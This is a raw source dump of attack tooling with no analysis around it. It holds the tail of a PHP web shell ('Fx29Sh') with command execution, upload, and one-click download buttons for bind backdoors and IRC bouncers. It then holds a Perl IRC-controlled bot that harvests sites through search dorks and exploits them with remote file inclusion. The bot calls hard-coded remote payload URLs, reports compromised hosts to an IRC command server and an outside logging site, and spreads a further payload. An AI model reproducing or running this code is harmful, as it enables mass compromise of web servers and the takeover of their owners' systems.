||
|
||
"Please report bugs to <a href=\"mailto:feelcomz@gmail.com\">
|
||
FaTaLisTiCz_Fx</a></b>";
|
||
|
||
}
|
||
|
||
echo "</td></tr></table>\n";
|
||
|
||
/*** COMMANDS PANEL ***/
|
||
|
||
?>
|
||
|
||
<div class=bartitle><b>.: COMMANDS PANEL :.</b></div>
|
||
|
||
<table class=mainpanel>
|
||
|
||
<?php
|
||
|
||
if (!$safemode) {
|
||
|
||
?>
|
||
|
||
<tr><td align=right>Command:</td>
|
||
|
||
<td><form method="POST">
|
||
|
||
<input type=hidden name=act value="cmd">
|
||
|
||
<input type=hidden name="d" value="<?php echo $dispd; ?>">
|
||
|
||
<input type="text" name="cmd" size="100" value="<?php echo
|
||
htmlspecialchars($cmd); ?>">
|
||
|
||
<input type=hidden name="cmd_txt" value="1"> <input type=submit name=
|
||
submit value="Execute">
|
||
|
||
</form>
|
||
|
||
</td></tr>
|
||
|
||
<tr><td align=right>Quick Commands:</td>
|
||
|
||
<td><form method="POST">
|
||
|
||
<input type=hidden name=act value="cmd">
|
||
|
||
<input type=hidden name="d" value="<?php echo $dispd; ?>">
|
||
|
||
<input type=hidden name="cmd_txt" value="1">
|
||
|
||
<select name="cmd">
|
||
|
||
<?php
|
||
|
||
foreach ($cmdaliases as $als) {
|
||
|
||
echo "<option value=\"".htmlspecialchars($als[1])."\">
|
||
".htmlspecialchars($als[0])."</option>";
|
||
|
||
}
|
||
|
||
foreach ($cmdaliases2 as $als) {
|
||
|
||
echo "<option value=\"".htmlspecialchars($als[1])."\">
|
||
".htmlspecialchars($als[0])."</option>";
|
||
|
||
}
|
||
|
||
?>
|
||
|
||
</select> <input type=submit name=submit value="Execute">
|
||
|
||
</form>
|
||
|
||
</td></tr>
|
||
|
||
<?php
|
||
|
||
}
|
||
|
||
?>
|
||
|
||
<tr><td align=right>Upload:</td>
|
||
|
||
<td><form method="POST" enctype="multipart/form-data">
|
||
|
||
<input type=hidden name=act value="upload">
|
||
|
||
<input type=hidden name="miniform" value="1">
|
||
|
||
<input type="file" name="uploadfile"> <input type=submit name=submit
|
||
value="Upload"> <?php echo $wdt." Max size: ". @ini_get
|
||
("upload_max_filesize")."B"; ?>
|
||
|
||
</form>
|
||
|
||
</td></tr>
|
||
|
||
<?php /* FaTaLisTiCz_Fx TriCkz */ ?>
|
||
|
||
<script language="javascript">
|
||
|
||
function set_arg(txt1,txt2) {
|
||
|
||
document.forms.fphpfsys.phpfsysfunc.value.selected = "Download";
|
||
|
||
document.forms.fphpfsys.arg1.value = txt1;
|
||
|
||
document.forms.fphpfsys.arg2.value = txt2;
|
||
|
||
}
|
||
|
||
</script>
|
||
|
||
<tr><td align=right>PHP Filesystem:</td>
|
||
|
||
<td><form name="fphpfsys" method="POST"><input type=hidden name=act value
|
||
="phpfsys"><input type=hidden name="d" value="<?php echo $dispd; ?>">
|
||
|
||
<select name="phpfsysfunc">
|
||
|
||
<?php
|
||
|
||
foreach ($phpfsaliases as $als) {
|
||
|
||
if ($als[1]==$phpfsysfunc) { echo "<option selected value=\"".$als
|
||
[1]."\">".$als[0]."</option>"; }
|
||
|
||
else { echo "<option value=\"".$als[1]."\">".$als[0]."</option>";
|
||
}
|
||
|
||
}
|
||
|
||
?>
|
||
|
||
</select>
|
||
|
||
File/Dir/URL: <input type="text" name="arg1" size="40" value="<?php
|
||
echo htmlspecialchars($arg1); ?>">
|
||
|
||
To/Max: <input type="text" name="arg2" size="50" value="<?php echo
|
||
htmlspecialchars($arg2); ?>">
|
||
|
||
<input type=submit name=submit value="Execute"><hr noshade size=1>
|
||
|
||
<input type=button value="Fx29Sh" onclick="set_arg('<?php echo
|
||
$sh_mainurl."cyberz.txt"; ?>','cyberz.php')">
|
||
|
||
<input type=button value="Binddoor" onclick="set_arg('<?php echo
|
||
$sh_mainurl."bind.tgz"; ?>','bind.tgz')">
|
||
|
||
<input type=button value="psyBNC" onclick="set_arg('<?php echo
|
||
$sh_mainurl."fx.tgz"; ?>','fx.tgz')">
|
||
|
||
<input type=button value="Eggdrop" onclick="set_arg('<?php echo
|
||
$sh_mainurl."fxb.tgz"; ?>','fxb.tgz')">
|
||
|
||
</form>
|
||
|
||
</td></tr>
|
||
|
||
<tr><td align=right>Search File:</td>
|
||
|
||
<td><form method="POST"><input type=hidden name=act value="search"><input
|
||
type=hidden name="d" value="<?php echo $dispd; ?>">
|
||
|
||
<input type="text" name="search_name" size="29" value="(.*)">
|
||
<input type="checkbox" name="search_name_regexp" value="1" checked> -
|
||
regexp
|
||
|
||
<input type=submit name=submit value="Search">
|
||
|
||
</form>
|
||
|
||
</td></tr>
|
||
|
||
<tr><td align=right>Make File:</td>
|
||
|
||
<td><form method="POST"><input type=hidden name=act value="mkfile"><input
|
||
type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name=
|
||
"ft" value="edit">
|
||
|
||
<input type="text" name="mkfile" size="70" value="<?php echo $dispd;
|
||
?>"> <input type=submit value="Create"> <?php echo $wdt; ?>
|
||
|
||
</form></td></tr>
|
||
|
||
<tr><td align=right>View File:</td>
|
||
|
||
<td><form method="POST"><input type=hidden name=act value="gofile"><input
|
||
type=hidden name="d" value="<?php echo $dispd; ?>">
|
||
|
||
<input type="text" name="f" size="70" value="<?php echo $dispd; ?>">
|
||
<input type=submit value="View">
|
||
|
||
</form></td></tr>
|
||
|
||
</table>
|
||
|
||
<div class=bartitle colspan=2><font color=white>.:[ By FaTaLisTiCz_Fx |
|
||
FeeLCoMz Community | Generated: <?php echo round(getmicrotime()
|
||
-starttime,4); ?> seconds ]:.</font></div>
|
||
|
||
</body></html>
|
||
|
||
<?php
|
||
|
||
|
||
|
||
/*** FUNCTIONS ***/
|
||
|
||
|
||
|
||
function ex($cfe) {
|
||
|
||
$res = '';
|
||
|
||
if (!empty($cfe)) {
|
||
|
||
if(function_exists('exec')) {
|
||
|
||
@exec($cfe,$res);
|
||
|
||
$res = join("\n",$res);
|
||
|
||
} elseif(function_exists('shell_exec')) {
|
||
|
||
$res = @shell_exec($cfe);
|
||
|
||
} elseif(function_exists('system')) {
|
||
|
||
@ob_start();
|
||
|
||
@system($cfe);
|
||
|
||
$res = @ob_get_contents();
|
||
|
||
@ob_end_clean();
|
||
|
||
} elseif(function_exists('passthru')) {
|
||
|
||
@ob_start();
|
||
|
||
@passthru($cfe);
|
||
|
||
$res = @ob_get_contents();
|
||
|
||
@ob_end_clean();
|
||
|
||
} elseif(@is_resource($f = @popen($cfe,"r"))) {
|
||
|
||
$res = "";
|
||
|
||
while(!@feof($f)) { $res .= @fread($f,1024); }
|
||
|
||
@pclose($f);
|
||
|
||
} else { echo "Shell Commands disabled!"; }
|
||
|
||
}
|
||
|
||
return $res;
|
||
|
||
}
|
||
|
||
|
||
|
||
function get_status() {
|
||
|
||
function showstat($sup,$stat) {
|
||
|
||
if ($stat=="on") { return "<font color=#00FF00><b>$sup</b></font>"; }
|
||
|
||
else { return "<font color=#FF9900><b>$sup</b></font>"; }
|
||
|
||
}
|
||
|
||
$arrfunc = array(
|
||
|
||
array("MySQL","mysql_connect"),
|
||
|
||
array("MSSQL","mssql_connect"),
|
||
|
||
array("Oracle","ocilogon"),
|
||
|
||
array("PostgreSQL","pg_connect"),
|
||
|
||
array("Curl","curl_version"),
|
||
|
||
);
|
||
|
||
$arrcmd = array(
|
||
|
||
array("Fetch","fetch --help"),
|
||
|
||
array("Wget","wget --help"),
|
||
|
||
array("Perl","perl -v"),
|
||
|
||
);
|
||
|
||
$statinfo = array();
|
||
|
||
foreach ($arrfunc as $func) {
|
||
|
||
if (function_exists($func[1])) { $statinfo[] = showstat($func
|
||
[0],"on"); }
|
||
|
||
else { $statinfo[] = showstat($func[0],"off"); }
|
||
|
||
}
|
||
|
||
foreach ($arrcmd as $cmd) {
|
||
|
||
if (ex($cmd[1])) { $statinfo[] = showstat($cmd[0],"on"); }
|
||
|
||
else { $statinfo[] = showstat($cmd[0],"off"); }
|
||
|
||
}
|
||
|
||
return implode(" - ",$statinfo);
|
||
|
||
}
|
||
|
||
|
||
|
||
function getdisfunc() {
|
||
|
||
$disablefunc = @ini_get("disable_functions");
|
||
|
||
if (!empty($disablefunc)) {
|
||
|
||
$disablefunc = str_replace(" ","",$disablefunc);
|
||
|
||
$disablefunc = explode(",",$disablefunc);
|
||
|
||
}
|
||
|
||
else { $disablefunc= array(); }
|
||
|
||
return $disablefunc;
|
||
|
||
}
|
||
|
||
function tools() {
|
||
|
||
echo "List of tools";
|
||
|
||
}
|
||
|
||
function sh_name() { global $sh_ver; return base64_decode
|
||
("RmFUYUxpc1RpQ3pfRnggRngyOVNoZUxMIHY=").$sh_ver; }
|
||
|
||
function htmlhead() {
|
||
|
||
$html_start = ''.
|
||
|
||
'<html><head>
|
||
|
||
<title>'.getenv("HTTP_HOST").' - '.sh_name().'</title>
|
||
|
||
<style type="text/css">
|
||
|
||
<!--
|
||
|
||
body,table { font:11px verdana;color:white;background-color:black; }
|
||
|
||
table { width:100%; }
|
||
|
||
table,td { border:1px solid #808080;margin-top:2;margin-bottom:2;
|
||
padding:5px; }
|
||
|
||
a { color:lightblue;text-decoration:none; }
|
||
|
||
a:active { color:#00FF00; }
|
||
|
||
a:link { color:#5B5BFF; }
|
||
|
||
a:hover { text-decoration:underline; }
|
||
|
||
a:visited { color:#99CCFF; }
|
||
|
||
input,select,option { font:8pt tahoma;color:#FFFFFF;margin:2;border:1px
|
||
solid #666666; }
|
||
|
||
textarea { color:#dedbde;font:10pt Courier New;border:1px solid #
|
||
666666;margin:2; }
|
||
|
||
.fleft { float:left;text-align:left; }
|
||
|
||
.fright { float:right;text-align:right; }
|
||
|
||
#pagebar { font:10pt tahoma;padding:5px; border:3px solid #1E1E1E;
|
||
border-collapse:collapse; }
|
||
|
||
#pagebar td { vertical-align:top; }
|
||
|
||
#pagebar p { font:8pt tahoma;}
|
||
|
||
#pagebar a { font-weight:bold;color:#00FF00; }
|
||
|
||
#pagebar a:visited { color:#00CE00; }
|
||
|
||
#mainmenu { text-align:center; }
|
||
|
||
#mainmenu a { text-align: center;padding: 0px 5px 0px 5px; }
|
||
|
||
#maininfo,.barheader,.bartitle { text-align:center; }
|
||
|
||
#maininfo td { padding:3px; }
|
||
|
||
.bartitle { padding:5px;border:2px solid #1F1F1F; }
|
||
|
||
.barheader { font-weight:bold;padding:5px; }
|
||
|
||
.contents,.explorer { border-collapse:collapse;}
|
||
|
||
.contents,.explorer td { vertical-align:top; }
|
||
|
||
.mainpanel { border-collapse:collapse;padding:5px; }
|
||
|
||
.barheader,.mainpanel table,td { border:1px solid #333333; }
|
||
|
||
.mainpanel input,select,option { border:1px solid #333333;margin:0; }
|
||
|
||
input[type="submit"],input[type="button"] { border:1px solid #000000; }
|
||
|
||
input[type="text"] { padding:3px;}
|
||
|
||
.shell { background-color:#C0C0C0;color:#333399;padding:5px; }
|
||
|
||
.fxerrmsg { color:red; font-weight:bold; }
|
||
|
||
#pagebar,#pagebar p,h1,h2,h3,h4,form { margin:0; }
|
||
|
||
#pagebar,.mainpanel,input[type="submit"],input[type="button"] {
|
||
background-color:#4A4A4A; }
|
||
|
||
.bartitle,input,select,option,input[type="submit"]:hover,input[type=
|
||
"button"]:hover { background-color:#333333; }
|
||
|
||
textarea,.mainpanel input[type="text"],input[type="file"],select,option
|
||
{ background-color:#000000; }
|
||
|
||
// -->
|
||
|
||
</style>
|
||
|
||
</head>
|
||
|
||
<body>
|
||
|
||
<div class=bartitle><h3>'.sh_name().'</h3>.: No System is Perfectly
|
||
Safe :.</div>
|
||
|
||
';
|
||
|
||
return $html_start;
|
||
|
||
};
|
||
|
||
|
||
|
||
chdir($lastdir); fx29shexit();
|
||
|
||
?>
|
||
|
||
|
||
|
||
|
||
#######################################################
|
||
|
||
# SCAN RFI V.1.0.1 CODATO DA FASTIDIO Edited By BraT #
|
||
|
||
#######################################################
|
||
|
||
|
||
|
||
use IO::Socket::INET;
|
||
|
||
use HTTP::Request;
|
||
|
||
use LWP::UserAgent;
|
||
|
||
|
||
|
||
#################
|
||
|
||
#[Configuration]#
|
||
|
||
#################
|
||
|
||
my $linas_max='10';
|
||
|
||
my $sleep='1';
|
||
|
||
my $processo ="httpds";
|
||
|
||
my $cmd="http://xyzkomputery.nazwa.pl/mm/fx29.txt??";
|
||
|
||
my $id="http://www.mediamatic.cl/presentacion/wut.txt??";
|
||
|
||
my $spread="http://cg-cars.com/hm.txt??";
|
||
|
||
my $server="89.46.100.51";
|
||
|
||
my $porta="3939";
|
||
|
||
my $nick="[SnK0BRA]-".(int(rand(100)));
|
||
|
||
my $canale="#n9ne";
|
||
|
||
my $verbot = "1.5";
|
||
|
||
my $stringa = "!rfi".(int(rand(100)));
|
||
|
||
my $adm = "testin";
|
||
|
||
my $out = "!bye".(int(rand(100)));
|
||
|
||
my $c0der= "tester"; #Nothing To Say
|
||
|
||
#################
|
||
|
||
#[Configuration]#
|
||
|
||
#################
|
||
|
||
|
||
|
||
my $pid=fork;
|
||
|
||
exit if $pid;
|
||
|
||
$0="$processo"."\0"x16;
|
||
|
||
my $sk = IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>
|
||
"$porta",Proto=>"tcp") or die "Cannot connect to the IRC server!\n";
|
||
|
||
$sk->autoflush(1);
|
||
|
||
print $sk "NICK $nick\r\n";
|
||
|
||
print $sk "USER V1 8 * : .::[ 14KobraCrew 7][ 14Scanner 7]::.\r\n";
|
||
|
||
print $sk "JOIN $canale\r\n";
|
||
|
||
print $sk "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 14KobraCrew RFI
|
||
Scanner Launched. Type: 7 ! 14more \r\n";
|
||
|
||
|
||
|
||
while($line = <$sk>){
|
||
|
||
|
||
|
||
$line =~ s/\r\n$//;
|
||
|
||
if ($line=~ /^PING \:(.*)/)
|
||
|
||
{
|
||
|
||
print "PONG :$1";
|
||
|
||
print $sk "PONG :$1";
|
||
|
||
}
|
||
|
||
|
||
|
||
if ($line=~ /PRIVMSG $canale :$out/){
|
||
|
||
stampa($sk, "QUIT");
|
||
|
||
}
|
||
|
||
if ($line=~ /PRIVMSG $canale :!Turnoff/){
|
||
|
||
stampa($sk, "QUIT");
|
||
|
||
}
|
||
|
||
if ($line=~ /PRIVMSG $canale :!more/){
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 14RFI Scanner: 7
|
||
$verbot 14By 7K 14obra 7C 14rew ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 14Scanner Command:
|
||
7 $stringa 14Bug Dork ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 14Quit Command: 7
|
||
$out 14Admin Only ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 14Powered BY
|
||
NigerianNet ");
|
||
|
||
}
|
||
|
||
if ($line=~ /PRIVMSG $canale :!admin/){
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 14 -= 7 $adm 14=-
|
||
");
|
||
|
||
}
|
||
|
||
if ( $line =~ /PRIVMSG $canale :!id/)
|
||
|
||
{ ## ???? Script made by fr1ul^h4ck . Don't remove this comment !
|
||
|
||
my $testid = $id;
|
||
|
||
my $req = HTTP::Request->new(GET=>$testid);
|
||
|
||
my $ua = LWP::UserAgent->new();
|
||
|
||
$ua->timeout(5);
|
||
|
||
my $response = $ua->request($req);
|
||
|
||
if ( $response->is_success ) {
|
||
|
||
my $re = $response->content;
|
||
|
||
if ( $re =~ /BraT/) {
|
||
|
||
sleep(1);
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7W
|
||
14orking! ");
|
||
|
||
}
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
sleep(1);
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[
|
||
14KobraCrew 7] 7D 14ead! ");
|
||
|
||
sleep(2);
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 14Scanner Will Now
|
||
Quit 7 $canale. 14Please Update. ");
|
||
|
||
stampa($sk, "QUIT :KobraCreW");
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if ($line=~ /PRIVMSG $canale :$stringa\s+(.*?)\s+(.*)/){
|
||
|
||
if (my $pid = fork) {
|
||
|
||
waitpid($pid, 0);
|
||
|
||
} else {
|
||
|
||
if (fork) {
|
||
|
||
exit;
|
||
|
||
} else {
|
||
|
||
my $bug=$1;
|
||
|
||
my $dork=$2;
|
||
|
||
my $contatore=0;
|
||
|
||
my %hosts;
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7 $bug ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7 $dork ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 14 Opening Search
|
||
Engines... ");
|
||
|
||
my @google=&googlet($dork);
|
||
|
||
push(my @tot, @google);
|
||
|
||
my @puliti=&unici(@tot);
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7G 14oogle: 14 ---
|
||
TSearched&TCleaned --- ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7G 14oogle: 14
|
||
Total Found: 7 ".scalar(@tot)." 14sites! ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7G 14oogle: 14
|
||
Total Cleaned: 7 ".scalar(@puliti)." 14sites! ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7G 14oogle: 14 Now
|
||
Checking Each Site for Vulnerability... ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7G 14oogle: 14 ---
|
||
Please Wait --- ");
|
||
|
||
my $uni=scalar(@puliti);
|
||
|
||
foreach my $sito (@puliti)
|
||
|
||
{
|
||
|
||
$contatore++;
|
||
|
||
if ($contatore %100==0){
|
||
|
||
}
|
||
|
||
if ($contatore==$uni-1){
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7G 14oogle:
|
||
Scanning Done For: 7 $bug $dork ");
|
||
|
||
}
|
||
|
||
my $test="http://".$sito.$bug.$id."?";
|
||
|
||
my $print="http://".$sito.$bug.$cmd."?";
|
||
|
||
my $req=HTTP::Request->new(GET=>$test);
|
||
|
||
my $ua=LWP::UserAgent->new();
|
||
|
||
$ua->timeout(5);
|
||
|
||
my $response=$ua->request($req);
|
||
|
||
if ($response->is_success) {
|
||
|
||
my $re=$response->content;
|
||
|
||
if($re =~ /BraT/ && $re =~ /uid=/){
|
||
|
||
my $hs=geths($print); $hosts{$hs}++;
|
||
|
||
if($hosts{$hs}=="1"){
|
||
|
||
$x=os($test);
|
||
|
||
($type,$space)=split(/\,/,$x);
|
||
|
||
my $punked="http://www.xshqiptaretx.org/list/index.php?off=$test";
|
||
|
||
my $poster=HTTP::Request->new(GET=>$punked);
|
||
|
||
my $resa=$ua->request($poster);
|
||
|
||
stampa($sk, "PRIVMSG $adm : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 3OFF
|
||
14System 14,1 7[ $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 3OFF
|
||
14System 14,1 7[ $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uname -a 7] $alb ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uptime 7] $alb2 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14id 7] $alb3 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14pwd 7] $alb4 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14SoftWare 7] $alb5 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14PHPV 7] $alb6 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerAddr 7] $alb7 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerName 7] $alb8 ");
|
||
|
||
}
|
||
|
||
}
|
||
|
||
elsif($re =~ /BraT/)
|
||
|
||
{
|
||
|
||
my $punked1="http://www.xshqiptaretx.org/list/index.php?on=$test";
|
||
|
||
my $poster1=HTTP::Request->new(GET=>$punked1);
|
||
|
||
my $resa=$ua->request($poster1);
|
||
|
||
my $hs=geths($print); $hosts{$hs}++;
|
||
|
||
if($hosts{$hs}=="1"){
|
||
|
||
$x=os($test);
|
||
|
||
($type,$space)=split(/\,/,$x);
|
||
|
||
stampa($sk, "PRIVMSG $adm : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 4ON
|
||
14System 7[ 7 $os 7] 14Free 7[ 7 $space 7] 7 $print ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 4ON
|
||
14System 7[ 7 $os 7] 14Free 7[ 7 $space 7] 7 $print ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uname -a 7] $alb ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uptime 7] $alb2 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14id 7] $alb3 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14pwd 7] $alb4 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14SoftWare 7] $alb5 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14PHPV 7] $alb6 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerAddr 7] $alb7 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerName 7] $alb8 ");
|
||
|
||
my $test2="http://".$sito.$bug.$spread."?";
|
||
|
||
my $reqz=HTTP::Request->new(GET=>$test2);
|
||
|
||
my $ua=LWP::UserAgent->new();
|
||
|
||
my $response=$ua->request($reqz);
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}}}
|
||
|
||
exit;
|
||
|
||
}}
|
||
|
||
if ($line=~ /PRIVMSG $canale :$stringa\s+(.*?)\s+(.*)/){
|
||
|
||
if (my $pid = fork) {
|
||
|
||
waitpid($pid, 0);
|
||
|
||
} else {
|
||
|
||
if (fork) {
|
||
|
||
exit;
|
||
|
||
} else {
|
||
|
||
my $bug=$1;
|
||
|
||
my $dork=$2;
|
||
|
||
my $contatore=0;
|
||
|
||
my %hosts;
|
||
|
||
my @alltheweb=&allthewebt($dork);
|
||
|
||
my @allweb=&standard($dork);
|
||
|
||
push(my @tot, @alltheweb, @allweb);
|
||
|
||
my @puliti=&unici(@tot);
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7A 14lltheweb: 14
|
||
--- TSearched&TCleaned --- ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7A 14lltheweb: 14
|
||
Total Found: 7 ".scalar(@tot)." 14sites! ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7A 14lltheweb: 14
|
||
Total Cleaned: 7 ".scalar(@puliti)." 14sites! ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7A 14lltheweb: 14
|
||
Now Checking Each Site for Vulnerability... ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7A 14lltheweb: 14
|
||
--- Please Wait --- ");
|
||
|
||
my $uni=scalar(@puliti);
|
||
|
||
foreach my $sito (@puliti)
|
||
|
||
{
|
||
|
||
$contatore++;
|
||
|
||
if ($contatore %100==0){
|
||
|
||
}
|
||
|
||
if ($contatore==$uni-1){
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7A 14lltheweb:
|
||
Scanning Done For: 7 $bug $dork ");
|
||
|
||
}
|
||
|
||
my $test="http://".$sito.$bug.$id."?";
|
||
|
||
my $print="http://".$sito.$bug.$cmd."?";
|
||
|
||
my $req=HTTP::Request->new(GET=>$test);
|
||
|
||
my $ua=LWP::UserAgent->new();
|
||
|
||
$ua->timeout(5);
|
||
|
||
my $response=$ua->request($req);
|
||
|
||
if ($response->is_success) {
|
||
|
||
my $re=$response->content;
|
||
|
||
if($re =~ /BraT/ && $re =~ /uid=/){
|
||
|
||
my $hs=geths($print); $hosts{$hs}++;
|
||
|
||
if($hosts{$hs}=="1"){
|
||
|
||
$x=os($test);
|
||
|
||
($type,$space)=split(/\,/,$x);
|
||
|
||
my $punked="http://www.xshqiptaretx.org/list/index.php?off=$test";
|
||
|
||
my $poster=HTTP::Request->new(GET=>$punked);
|
||
|
||
my $resa=$ua->request($poster);
|
||
|
||
stampa($sk, "PRIVMSG $adm : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 3OFF
|
||
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 3OFF
|
||
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uname -a 7] $alb ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uptime 7] $alb2 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14id 7] $alb3 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14pwd 7] $alb4 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14SoftWare 7] $alb5 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14PHPV 7] $alb6 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerAddr 7] $alb7 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerName 7] $alb8 ");
|
||
|
||
}
|
||
|
||
}
|
||
|
||
elsif($re =~ /BraT/)
|
||
|
||
{
|
||
|
||
my $punked1="http://www.xshqiptaretx.org/list/index.php?on=$test";
|
||
|
||
my $poster1=HTTP::Request->new(GET=>$punked1);
|
||
|
||
my $resa=$ua->request($poster1);
|
||
|
||
my $hs=geths($print); $hosts{$hs}++;
|
||
|
||
if($hosts{$hs}=="1"){
|
||
|
||
$x=os($test);
|
||
|
||
($type,$space)=split(/\,/,$x);
|
||
|
||
stampa($sk, "PRIVMSG $adm : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 4ON
|
||
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 4ON
|
||
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uname -a 7] $alb ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uptime 7] $alb2 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14id 7] $alb3 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14pwd 7] $alb4 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14SoftWare 7] $alb5 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14PHPV 7] $alb6 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerAddr 7] $alb7 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerName 7] $alb8 ");
|
||
|
||
my $test2="http://".$sito.$bug.$spread."?";
|
||
|
||
my $reqz=HTTP::Request->new(GET=>$test2);
|
||
|
||
my $ua=LWP::UserAgent->new();
|
||
|
||
my $response=$ua->request($reqz);
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}}}
|
||
|
||
exit;
|
||
|
||
}}
|
||
|
||
if ($line=~ /PRIVMSG $canale :$stringa\s+(.*?)\s+(.*)/){
|
||
|
||
if (my $pid = fork) {
|
||
|
||
waitpid($pid, 0);
|
||
|
||
} else {
|
||
|
||
if (fork) {
|
||
|
||
exit;
|
||
|
||
} else {
|
||
|
||
my $bug=$1;
|
||
|
||
my $dork=$2;
|
||
|
||
my $contatore=0;
|
||
|
||
my %hosts;
|
||
|
||
my @ylist=&yahoo($dork);
|
||
|
||
my @yalist=&yahooa($dork);
|
||
|
||
my @yblist=&yahoob($dork);
|
||
|
||
my @yclist=&yahooc($dork);
|
||
|
||
my @ydlist=&yahood($dork);
|
||
|
||
my @yelist=&yahooe($dork);
|
||
|
||
my @yflist=&yahoof($dork);
|
||
|
||
my @yglist=&yahoog($dork);
|
||
|
||
my @yhlist=&yahooh($dork);
|
||
|
||
my @yilist=&yahooi($dork);
|
||
|
||
my @yllist=&yahool($dork);
|
||
|
||
push(my @yahoobypass, @ylist, @yalist, @yblist, @yclist,
|
||
@ydlist, @yelist, @yflist, @yglist, @yhlist, @yilist, @yllist );
|
||
|
||
push(my @tot, @yahoobypass);
|
||
|
||
